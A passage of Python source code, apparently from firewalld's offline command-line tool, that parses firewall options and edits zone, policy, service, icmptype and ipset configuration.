| ipv6 | eb }", "<args>")) parser_direct.add_argument("--remove-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--query-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--get-passthroughs", nargs=1, metavar=("{ ipv4 | ipv6 | eb }")) parser_direct.add_argument("--get-all-passthroughs", action="store_true") parser_direct.add_argument("--add-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--remove-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--query-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--get-all-chains", action="store_true") parser_direct.add_argument("--get-chains", nargs=2, metavar=("{ ipv4 | ipv6 | eb }", "<table>")) parser_direct.add_argument("--add-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--remove-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--remove-rules", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain>")) parser_direct.add_argument("--query-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--get-rules", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--get-all-rules", action="store_true") ############################################################################## cmd = FirewallCommand() def myexcepthook(exctype, value, traceback): cmd.exception_handler(str(value)) sys.excepthook = myexcepthook if len(sys.argv) > 1 and \ any('--migrate-system-config-firewall' in arg for arg in sys.argv): args = sys.argv[1:] migration_parser = argparse.ArgumentParser( usage="see firewall-offline-cmd man page", add_help=False) migration_parser.add_argument("-h", "--help", action="store_true") migration_parser.add_argument("-v", "--verbose", action="store_true") migration_parser.add_argument("-q", "--quiet", action="store_true") migration_parser.add_argument("--migrate-system-config-firewall", metavar="<file>", action='store') a,unknown = migration_parser.parse_known_args(args) cmd.set_quiet(a.quiet) cmd.set_verbose(a.verbose) if a.help: __usage() sys.exit(0) else: assert_root() if a.quiet: # it makes no sense to use --quiet with these options a.quiet = False cmd.set_quiet(a.quiet) cmd.fail("-q/--quiet can't be used with this option(s)") if a.migrate_system_config_firewall: args = read_sysconfig_args(a.migrate_system_config_firewall) if not args: cmd.fail("Opening of '%s' failed, exiting." % \ a.migrate_system_config_firewall) args += unknown elif len(sys.argv) > 1: i = -1 args = sys.argv[1:] if '--add-passthrough' in args: i = args.index('--add-passthrough') + 1 elif '--remove-passthrough' in args: i = args.index('--remove-passthrough') + 1 elif '--query-passthrough' in args: i = args.index('--query-passthrough') + 1 elif '--add-rule' in args: i = args.index('--add-rule') + 4 elif '--remove-rule' in args: i = args.index('--remove-rule') + 4 elif '--query-rule' in args: i = args.index('--query-rule') + 4 # join <args> into one argument to prevent parser from parsing each iptables # option, because they can conflict with firewall-cmd options # # e.g. --delete (iptables) and --delete-* (firewall-cmd) if (i > -1) and (i < len(args) - 1): aux_args = args[:] args = aux_args[:i+1] # all but not <args> args.append(joinArgs(aux_args[i+1:])) # add <args> as one arg else: assert_root() # migrate configuration from SYSTEM_CONFIG_FIREWALL args = read_sysconfig_args() if not args: cmd.fail("Opening of '%s' failed, exiting." % SYSTEM_CONFIG_FIREWALL) a = parser.parse_args(args) options_lokkit = a.enabled or a.disabled or a.addmodule or a.removemodule or \ a.trust or a.masq or a.custom_rules or \ a.service or a.remove_service or a.port or \ a.trust or a.masq or a.forward_port or a.block_icmp options_standalone = a.help or a.version or \ a.policy_server or a.policy_desktop or \ a.lockdown_on or a.lockdown_off or a.query_lockdown or \ a.get_default_zone or a.set_default_zone or \ a.get_log_denied or a.set_log_denied or \ a.get_automatic_helpers or a.set_automatic_helpers options_desc_xml_file = a.set_description or a.get_description or \ a.set_short or a.get_short options_lockdown_whitelist = \ a.list_lockdown_whitelist_commands or a.add_lockdown_whitelist_command or \ a.remove_lockdown_whitelist_command or \ a.query_lockdown_whitelist_command or \ a.list_lockdown_whitelist_contexts or a.add_lockdown_whitelist_context or \ a.remove_lockdown_whitelist_context or \ a.query_lockdown_whitelist_context or \ a.list_lockdown_whitelist_uids or a.add_lockdown_whitelist_uid is not None or \ a.remove_lockdown_whitelist_uid is not None or \ a.query_lockdown_whitelist_uid is not None or \ a.list_lockdown_whitelist_users or a.add_lockdown_whitelist_user or \ a.remove_lockdown_whitelist_user or \ a.query_lockdown_whitelist_user options_config = a.get_zones or a.get_services or a.get_icmptypes or \ options_lockdown_whitelist or a.list_all_zones or \ a.get_zone_of_interface or a.get_zone_of_source or \ a.info_zone or a.info_icmptype or a.info_service or \ a.info_ipset or a.info_policy or a.get_ipsets or a.info_helper or \ a.get_helpers or a.get_policies or a.list_all_policies options_zone_and_policy_adapt_query = \ a.add_service or a.remove_service_from_zone or a.query_service or \ a.add_port or a.remove_port or a.query_port or \ a.add_protocol or a.remove_protocol or a.query_protocol or \ a.add_source_port or a.remove_source_port or a.query_source_port or \ a.add_icmp_block or a.remove_icmp_block or a.query_icmp_block or \ a.add_forward_port or a.remove_forward_port or a.query_forward_port or \ a.add_rich_rule or a.remove_rich_rule or a.query_rich_rule or \ a.add_masquerade or a.remove_masquerade or a.query_masquerade or \ a.list_services or a.list_ports or a.list_protocols or \ a.list_source_ports or \ a.list_icmp_blocks or a.list_forward_ports or a.list_rich_rules or \ a.list_all or a.get_target or a.set_target options_zone_unique = \ a.add_icmp_block_inversion or a.remove_icmp_block_inversion or \ a.query_icmp_block_inversion or \ a.add_forward or a.remove_forward or a.query_forward or \ a.list_interfaces or a.change_interface or \ a.add_interface or a.remove_interface or a.query_interface or \ a.list_sources or a.change_source or \ a.add_source or a.remove_source or a.query_source options_zone_ops = options_zone_unique or options_zone_and_policy_adapt_query options_policy_unique = \ a.list_ingress_zones or a.add_ingress_zone or \ a.remove_ingress_zone or a.query_ingress_zone or \ a.list_egress_zones or a.add_egress_zone or \ a.remove_egress_zone or a.query_egress_zone or \ a.set_priority or a.get_priority options_policy_ops = options_policy_unique or options_zone_and_policy_adapt_query options_zone = a.zone or options_zone_ops or options_desc_xml_file options_policy = a.policy or options_policy_ops or options_desc_xml_file options_ipset = a.add_entry or a.remove_entry or a.query_entry or \ a.get_entries or a.add_entries_from_file or \ a.remove_entries_from_file or options_desc_xml_file options_icmptype = a.add_destination or a.remove_destination or \ a.query_destination or a.get_destinations or \ options_desc_xml_file options_service = a.add_port or a.remove_port or a.query_port or \ a.get_ports or \ a.add_protocol or a.remove_protocol or a.query_protocol or \ a.get_protocols or \ a.add_source_port or a.remove_source_port or \ a.query_source_port or a.get_source_ports or \ a.add_module or a.remove_module or a.query_module or \ a.get_modules or \ a.set_destination or a.remove_destination or \ a.query_destination or a.get_destinations or \ options_desc_xml_file or \ a.add_include or a.remove_include or a.query_include or \ a.get_includes or \ a.add_helper or a.remove_helper or a.query_helper or \ a.get_service_helpers options_helper = a.add_port or a.remove_port or a.query_port or \ a.get_ports or a.set_module or a.get_module or \ a.set_family or a.get_family or \ options_desc_xml_file options_permanent = options_config or options_zone or options_policy or \ a.new_icmptype or a.delete_icmptype or \ a.new_icmptype_from_file or \ a.load_icmptype_defaults or \ a.new_service or a.delete_service or \ a.new_service_from_file or \ a.load_service_defaults or \ a.new_zone or a.delete_zone or \ a.new_zone_from_file or \ a.load_zone_defaults or \ a.new_policy or a.delete_policy or \ a.new_policy_from_file or \ a.load_policy_defaults or \ a.new_helper or a.delete_helper or \ a.new_helper_from_file or \ a.load_helper_defaults or \ a.new_ipset or a.delete_ipset or \ a.new_ipset_from_file or \ a.load_ipset_defaults or \ a.ipset or options_ipset or \ (a.icmptype and options_icmptype) or \ (a.service and options_service) or \ (a.helper and options_helper) or \ a.path_zone or a.path_icmptype or a.path_service or \ a.path_ipset or a.path_helper or a.path_policy options_direct = \ a.add_chain or a.remove_chain or a.query_chain or \ a.get_chains or a.get_all_chains or \ a.add_rule or a.remove_rule or a.remove_rules or a.query_rule or \ a.get_rules or a.get_all_rules or \ a.add_passthrough or a.remove_passthrough or a.query_passthrough or \ a.get_passthroughs or a.get_all_passthroughs # these are supposed to only write out some output options_list_get = a.help or a.version or a.list_all or a.list_all_zones or \ a.list_lockdown_whitelist_commands or a.list_lockdown_whitelist_contexts or \ a.list_lockdown_whitelist_uids or a.list_lockdown_whitelist_users or \ a.list_services or a.list_ports or a.list_protocols or a.list_icmp_blocks or \ a.list_forward_ports or a.list_rich_rules or a.list_interfaces or \ a.list_sources or a.get_default_zone or \ a.get_zone_of_interface or a.get_zone_of_source or a.get_zones or \ a.get_services or a.get_icmptypes or a.get_target or \ a.info_zone or a.info_icmptype or a.info_service or \ a.info_ipset or a.get_ipsets or a.get_entries or \ a.info_helper or a.get_helpers or \ a.get_destinations or a.get_description or \ a.list_all_policies or a.info_policy or a.get_policies # Set quiet and verbose cmd.set_quiet(a.quiet) cmd.set_verbose(a.verbose) # Check various impossible combinations of options if not (options_standalone or options_ipset or \ options_lokkit or \ options_icmptype or options_service or options_helper or \ options_permanent or options_direct or options_desc_xml_file or \ a.check_config): cmd.fail(parser.format_usage() + "No option specified.") if options_lokkit and (options_standalone or \ options_permanent or options_direct) and \ not (options_service and a.service): cmd.fail(parser.format_usage() + "Can't use lokkit options with other options.") if options_standalone and (options_permanent or \ options_direct or options_ipset): cmd.fail(parser.format_usage() + "Can't use stand-alone options with other options.") if options_ipset and not options_desc_xml_file and not a.ipset: cmd.fail(parser.format_usage() + "No ipset specified.") if (options_icmptype and not a.icmptype) and \ not (options_service and a.service) and not options_desc_xml_file: cmd.fail(parser.format_usage() + "No icmptype specified.") if options_service and a.service and len(a.service) > 0: if len(a.service) > 1: cmd.fail(parser.format_usage() + "More than one service specified.") # use the first entry in the array only a.service = a.service[0] if (options_helper and not a.helper) and \ not (options_service and a.service) and \ not options_zone and not options_desc_xml_file and \ not options_policy: cmd.fail(parser.format_usage() + "No helper specified.") if options_direct and (options_zone or options_policy): cmd.fail(parser.format_usage() + "Can't use 'direct' options with other options.") if (a.direct and not options_direct) or (options_direct and not a.direct): cmd.fail(parser.format_usage() + "Wrong usage of 'direct' options.") if a.name and not (a.new_zone_from_file or a.new_service_from_file or \ a.new_ipset_from_file or a.new_icmptype_from_file or \ a.new_helper_from_file or a.new_policy_from_file): cmd.fail(parser.format_usage() + "Wrong usage of '--name' option.") if options_config and (options_zone or options_policy): cmd.fail(parser.format_usage() + "Wrong usage of --get-zones | --get-services | --get-icmptypes | --get-policies.") if a.quiet and options_list_get: # it makes no sense to use --quiet with these options a.quiet = False cmd.set_quiet(a.quiet) cmd.fail("-q/--quiet can't be used with this option(s)") if a.zone and a.policy: cmd.fail(parser.format_usage() + "Can't use --zone with --policy.") if a.policy and options_zone_unique: cmd.fail(parser.format_usage() + "Can't use --policy with zone only options.") if a.zone and options_policy_unique: cmd.fail(parser.format_usage() + "Can't use --zone with policy only options.") if not a.policy and options_policy_unique: cmd.fail(parser.format_usage() + "Must use --policy with policy only options.") if a.help: __usage() sys.exit(0) assert_root() if a.system_config: config.set_system_config_paths(a.system_config) if a.default_config: config.set_default_config_paths(a.default_config) if a.check_config: try: fw = Firewall(offline=True) fw.start() check_config(fw) except FirewallError as error: cmd.print_and_exit("Configuration error: %s" % error, error.code) except Exception as msg: cmd.fail("Configuration error: %s" % msg) sys.exit(0) zone = a.zone fw = Firewall(offline=True) fw.start() try: # Lokkit Compatibility Options if options_lokkit and not (options_service and a.service): trusted_zone = "trusted" default_zone = fw.get_default_zone() fw_zone = fw.config.get_zone(default_zone) fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone)) if a.enabled: # Enable firewall (default) os.system("systemctl enable firewalld.service") if a.disabled: # Disable firewall os.system("systemctl disable firewalld.service") if a.addmodule: for m in a.addmodule: cmd.print_msg("Ignoring addmodule '%s'" % m) if a.removemodule: for m in a.removemodule: cmd.print_msg("Ignoring removemodule '%s'" % m) if a.custom_rules: for c in a.custom_rules: cmd.print_msg("Ignoring custom-rule '%s'" % c) if a.service: for s in a.service: cmd.print_msg("Adding service '%s' to default zone." % s) if not fw_settings.queryService(s): fw_settings.addService(s) else: cmd.print_msg("ALREADY_ENABLED: %s" % s) if a.remove_service: for s in a.remove_service: cmd.print_msg("Removing service '%s' from default zone." % s) if fw_settings.queryService(s): fw_settings.removeService(s) else: cmd.print_msg("NOT_ENABLED: %s" % s) if a.port: for port_proto in a.port: (port, proto) = parse_port_lokkit(port_proto) cmd.print_msg("Adding port '%s/%s' to default zone." % (port, proto)) if not fw_settings.queryPort(port, proto): fw_settings.addPort(port, proto) else: cmd.print_msg("ALREADY_ENABLED: %s" % port_proto) if a.trust: if default_zone != trusted_zone: fw_trusted = fw.config.get_zone("trusted") fw_trusted_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_trusted)) # Bind an interface to the trusted zone for i in a.trust: cmd.print_msg("Interface '%s' will be bound to zone '%s'." % \ (i, trusted_zone)) if not fw_trusted_settings.queryInterface(i): fw_trusted_settings.addInterface(i) else: cmd.print_msg("ALREADY_ENABLED: %s" % i) fw.config.set_zone_config_dict(fw_trusted, fw_trusted_settings.getSettingsDict()) else: for i in a.trust: cmd.print_msg("Interface '%s' will be bound to zone '%s'." % \ (i, trusted_zone)) if not fw_settings.queryInterface(i): fw_settings.addInterface(i) else: cmd.print_msg("ALREADY_ENABLED: %s" % i) if a.masq: # Enables masquerading in the default zone, interface argument is ignored cmd.print_msg("Enabling masquerade for the default zone.") fw_settings.setMasquerade(True) if a.forward_port: for fp in a.forward_port: (port, protocol, toport, toaddr) = cmd.parse_forward_port( fp, compat=True) cmd.print_msg("Adding forward port %s:%s:%s:%s to default zone." % \ (port, protocol, toport, toaddr)) if not fw_settings.queryForwardPort(port, protocol, toport, toaddr): fw_settings.addForwardPort(port, protocol, toport, toaddr) else: cmd.print_msg("ALREADY_ENABLED: %s" % fp) if a.block_icmp: for ib in a.block_icmp: cmd.print_msg("Adding icmpblock '%s' to default zone." % ib) if not fw_settings.queryIcmpBlock(ib): fw_settings.addIcmpBlock(ib) else: cmd.print_msg("ALREADY_ENABLED: %s" % ib) fw.config.set_zone_config_dict(fw_zone, fw_settings.getSettingsDict()) elif a.version: cmd.print_and_exit(config.VERSION) elif a.get_log_denied: cmd.print_and_exit(fw.get_log_denied()) elif a.set_log_denied: fw.set_log_denied(a.set_log_denied) elif a.get_automatic_helpers: cmd.print_and_exit(fw.get_automatic_helpers()) elif a.set_automatic_helpers: fw.set_automatic_helpers(a.set_automatic_helpers) elif a.policy_server: pk_symlink('server') elif a.policy_desktop: pk_symlink('desktop') # options from firewall-cmd elif a.get_default_zone: cmd.print_and_exit(fw.get_default_zone()) elif a.set_default_zone: fw.set_default_zone(a.set_default_zone) # lockdown elif a.lockdown_on: fw.enable_lockdown() elif a.lockdown_off: fw.disable_lockdown() elif a.query_lockdown: cmd.print_query_result(fw.policies.query_lockdown()) # zones elif a.get_zones: zones = fw.config.get_zones() cmd.print_and_exit(" ".join(zones)) elif a.new_zone: fw.config.new_zone_dict(a.new_zone, FirewallClientZoneSettings().getSettingsDict()) elif a.new_zone_from_file: filename = os.path.basename(a.new_zone_from_file) dirname = os.path.dirname(a.new_zone_from_file) if dirname == "": dirname = "./" try: obj = zone_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load zone file '%s': %s" % \ (a.new_zone_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load zone file: %s" % msg) if a.name: obj.name = a.name fw.config.new_zone(obj.name, obj.export_config()) elif a.delete_zone: obj = fw.config.get_zone(a.delete_zone) fw.config.remove_zone(obj) elif a.load_zone_defaults: obj = fw.config.get_zone(a.load_zone_defaults) fw.config.load_zone_defaults(obj) elif a.info_zone: zone = fw.config.get_zone(a.info_zone) settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(zone)) cmd.print_zone_info(a.info_zone, settings, True) sys.exit(0) elif a.path_zone: obj = fw.config.get_zone(a.path_zone) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) # policies elif a.get_policies: policies = fw.config.get_policy_objects() cmd.print_and_exit(" ".join(policies)) elif a.new_policy: fw.config.new_policy_object_dict(a.new_policy, FirewallClientPolicySettings().getSettingsDict()) elif a.new_policy_from_file: filename = os.path.basename(a.new_policy_from_file) dirname = os.path.dirname(a.new_policy_from_file) if dirname == "": dirname = "./" try: obj = policy_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load policy file '%s': %s" % \ (a.new_policy_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load policy file: %s" % msg) if a.name: obj.name = a.name fw.config.new_policy_object_dict(obj.name, obj.export_config_dict()) elif a.delete_policy: obj = fw.config.get_policy_object(a.delete_policy) fw.config.remove_policy_object(obj) elif a.load_policy_defaults: obj = fw.config.get_policy_object(a.load_policy_defaults) fw.config.load_policy_object_defaults(obj) elif a.info_policy: policy = fw.config.get_policy_object(a.info_policy) settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(policy)) cmd.print_policy_info(a.info_policy, settings, True) sys.exit(0) elif a.path_policy: obj = fw.config.get_policy_object(a.path_policy) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) # services elif a.get_services: services = fw.config.get_services() cmd.print_and_exit(" ".join(services)) elif a.new_service: fw.config.new_service_dict(a.new_service, FirewallClientServiceSettings().getSettingsDict()) elif a.new_service_from_file: filename = os.path.basename(a.new_service_from_file) dirname = os.path.dirname(a.new_service_from_file) if dirname == "": dirname = "./" try: obj = service_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load service file '%s': %s" % \ (a.new_service_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load service file: %s" % msg) if a.name: obj.name = a.name fw.config.new_service_dict(obj.name, obj.export_config_dict()) elif a.delete_service: obj = fw.config.get_service(a.delete_service) fw.config.remove_service(obj) # remove service from all zones zones = fw.config.get_zones() for zone in zones: _zone = fw.config.get_zone(zone) _settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(_zone)) if _settings.queryService(a.delete_service): _settings.removeService(a.delete_service) fw.config.set_zone_config_dict(_zone, _settings.getSettingsDict()) # remove service from all policies for policy in fw.config.get_policy_objects(): _policy = fw.config.get_policy_object(policy) _settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(_policy)) if _settings.queryService(a.delete_service): _settings.removeService(a.delete_service) fw.config.set_policy_object_config_dict(_policy, _settings.getSettingsDict()) elif a.load_service_defaults: obj = fw.config.get_service(a.load_service_defaults) fw.config.load_service_defaults(obj) elif a.info_service: service = fw.config.get_service(a.info_service) settings = FirewallClientServiceSettings( fw.config.get_service_config_dict(service)) cmd.print_service_info(a.info_service, settings) sys.exit(0) elif a.path_service: obj = fw.config.get_service(a.path_service) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) # icmptypes elif a.get_icmptypes: icmptypes = fw.config.get_icmptypes() cmd.print_and_exit(" ".join(icmptypes)) elif a.new_icmptype: fw.config.new_icmptype(a.new_icmptype, FirewallClientIcmpTypeSettings().settings) elif a.new_icmptype_from_file: filename = os.path.basename(a.new_icmptype_from_file) dirname = os.path.dirname(a.new_icmptype_from_file) if dirname == "": dirname = "./" try: obj = icmptype_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load icmptype file '%s': %s" % \ (a.new_icmptype_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load icmptype file: %s" % msg) if a.name: obj.name = a.name fw.config.new_icmptype(obj.name, obj.export_config()) elif a.delete_icmptype: obj = fw.config.get_icmptype(a.delete_icmptype) fw.config.remove_icmptype(obj) # remove icmpyte from all zones zones = fw.config.get_zones() for zone in zones: _zone = fw.config.get_zone(zone) _settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(_zone)) if _settings.queryIcmpBlock(a.delete_icmptype): _settings.removeIcmpBlock(a.delete_icmptype) fw.config.set_zone_config_dict(_zone, _settings.getSettingsDict()) for policy in fw.config.get_policy_objects(): _policy = fw.config.get_policy_object(policy) _settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(_policy)) if _settings.queryIcmpBlock(a.delete_icmptype): _settings.removeIcmpBlock(a.delete_icmptype) fw.config.set_policy_object_config_dict(_policy, _settings.getSettingsDict()) elif a.load_icmptype_defaults: obj = fw.config.get_icmptype(a.load_icmptype_defaults) fw.config.load_icmptype_defaults(obj) elif a.info_icmptype: icmptype = fw.config.get_icmptype(a.info_icmptype) settings = FirewallClientIcmpTypeSettings( list(fw.config.get_icmptype_config(icmptype))) cmd.print_icmptype_info(a.info_icmptype, settings) sys.exit(0) elif a.path_icmptype: obj = fw.config.get_icmptype(a.path_icmptype) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) elif a.icmptype and options_icmptype: icmptype = fw.config.get_icmptype(a.icmptype) settings = FirewallClientIcmpTypeSettings( list(fw.config.get_icmptype_config(icmptype))) if a.add_destination: cmd.add_sequence(a.add_destination, settings.addDestination, settings.queryDestination, cmd.check_destination_ipv, "'%s'") fw.config.set_icmptype_config(icmptype, settings.settings) elif a.remove_destination: cmd.remove_sequence(a.remove_destination, settings.removeDestination, settings.queryDestination, cmd.check_destination_ipv, "'%s'") fw.config.set_icmptype_config(icmptype, settings.settings) elif a.query_destination: cmd.query_sequence(a.query_destination, settings.queryDestination, cmd.check_destination_ipv , "'%s'") elif a.get_destinations: l = settings.getDestinations() if len(l) == 0: l = [ "ipv4", "ipv6" ] cmd.print_and_exit("\n".join(l)) elif a.set_description: settings.setDescription(a.set_description) fw.config.set_icmptype_config(icmptype, settings.settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) fw.config.set_icmptype_config(icmptype, settings.settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") cmd.print_and_exit("success") elif a.service and options_service: service = fw.config.get_service(a.service) settings = FirewallClientServiceSettings( fw.config.get_service_config_dict(service)) if a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") elif a.get_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.add_protocol: cmd.add_sequence(a.add_protocol, settings.addProtocol, settings.queryProtocol, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, settings.removeProtocol, settings.queryProtocol, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_protocol: cmd.query_sequence(a.query_protocol, settings.queryProtocol, None, "'%s'") elif a.get_protocols: l = settings.getProtocols() cmd.print_and_exit(" ".join(["%s" % protocol for protocol in l])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, settings.addSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, settings.removeSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_source_port: cmd.query_sequence(a.query_source_port, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.get_source_ports: l = settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.add_module: cmd.add_sequence(a.add_module, settings.addModule, settings.queryModule, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_module: cmd.remove_sequence(a.remove_module, settings.removeModule, settings.queryModule, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_module: cmd.query_sequence(a.query_module, settings.queryModule, None, "'%s'") elif a.get_modules: l = settings.getModules() cmd.print_and_exit(" ".join(["%s" % module for module in l])) elif a.set_destination: cmd.add_sequence(a.set_destination, settings.setDestination, settings.queryDestination, cmd.parse_service_destination, "%s:%s") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_destination: # special case for removeDestination: Only ipv, no address for ipv in a.remove_destination: cmd.check_destination_ipv(ipv) if ipv not in settings.getDestinations(): if len(a.remove_destination) > 1: cmd.print_warning("Warning: NOT_ENABLED: '%s'" % ipv) else: code = FirewallError.get_code("NOT_ENABLED") cmd.print_and_exit("Error: NOT_ENABLED: '%s'" % ipv, code) else: settings.removeDestination(ipv) fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_destination: cmd.query_sequence(a.query_destination, settings.queryDestination, cmd.parse_service_destination, "'%s'") elif a.get_destinations: l = settings.getDestinations() cmd.print_and_exit(" ".join(["%s:%s" % (dest[0], dest[1]) for dest in l.items()])) elif a.add_include: cmd.add_sequence(a.add_include, settings.addInclude, settings.queryInclude, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_include: cmd.remove_sequence(a.remove_include, settings.removeInclude, settings.queryInclude, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_include: cmd.query_sequence(a.query_include, settings.queryInclude, None, "'%s'") elif a.get_includes: l = settings.getIncludes() cmd.print_and_exit(" ".join(["%s" % include for include in sorted(l)])) elif a.add_helper: cmd.add_sequence(a.add_helper, settings.addHelper, settings.queryHelper, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.remove_helper: cmd.remove_sequence(a.remove_helper, settings.removeHelper, settings.queryHelper, None, "'%s'") fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.query_helper: cmd.query_sequence(a.query_helper, settings.queryHelper, None, "'%s'") elif a.get_service_helpers: l = settings.getHelpers() cmd.print_and_exit(" ".join(["%s" % helper for helper in sorted(l)])) elif a.set_description: settings.setDescription(a.set_description) fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) fw.config.set_service_config_dict(service, settings.getSettingsDict()) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") cmd.print_and_exit("success") # ipsets if a.get_ipsets: ipsets = fw.config.get_ipsets() cmd.print_and_exit(" ".join(sorted(ipsets))) elif a.new_ipset: if not a.type: cmd.fail(parser.format_usage() + "No type specified.") if a.type=='hash:mac' and a.family: cmd.fail(parser.format_usage() + "--family is not compatible with the hash:mac type") settings = FirewallClientIPSetSettings() settings.setType(a.type) if a.option: for opt in a.option: settings.addOption(*cmd.parse_ipset_option(opt)) fw.config.new_ipset(a.new_ipset, settings.settings) elif a.new_ipset_from_file: filename = os.path.basename(a.new_ipset_from_file) dirname = os.path.dirname(a.new_ipset_from_file) if dirname == "": dirname = "./" try: obj = ipset_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load ipset file '%s': %s" % \ (a.new_ipset_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load ipset file: %s" % msg) if a.name: obj.name = a.name fw.config.new_ipset(obj.name, obj.export_config()) elif a.delete_ipset: ipset = fw.config.get_ipset(a.delete_ipset) fw.config.remove_ipset(ipset) elif a.load_ipset_defaults: obj = fw.config.get_ipset(a.load_ipset_defaults) fw.config.load_ipset_defaults(obj) elif a.info_ipset: ipset = fw.config.get_ipset(a.info_ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.print_ipset_info(a.info_ipset, settings) sys.exit(0) elif a.path_ipset: obj = fw.config.get_ipset(a.path_ipset) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) elif a.ipset: if a.add_entry: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.add_sequence(a.add_entry, settings.addEntry, settings.queryEntry, None, "'%s'") fw.config.set_ipset_config(ipset, settings.settings) elif a.remove_entry: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.remove_sequence(a.remove_entry, settings.removeEntry, settings.queryEntry, None, "'%s'") fw.config.set_ipset_config(ipset, settings.settings) elif a.query_entry: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.query_sequence(a.query_entry, settings.queryEntry, None, "'%s'") elif a.get_entries: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) l = settings.getEntries() cmd.print_and_exit("\n".join(l)) elif a.add_entries_from_file: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) changed = False for filename in a.add_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.add_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: old_entries = settings.getEntries() entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry not in entries_set: old_entries.append(entry) entries_set.add(entry) changed = True else: cmd.print_if_verbose( "Warning: ALREADY_ENABLED: %s" % entry) if changed: 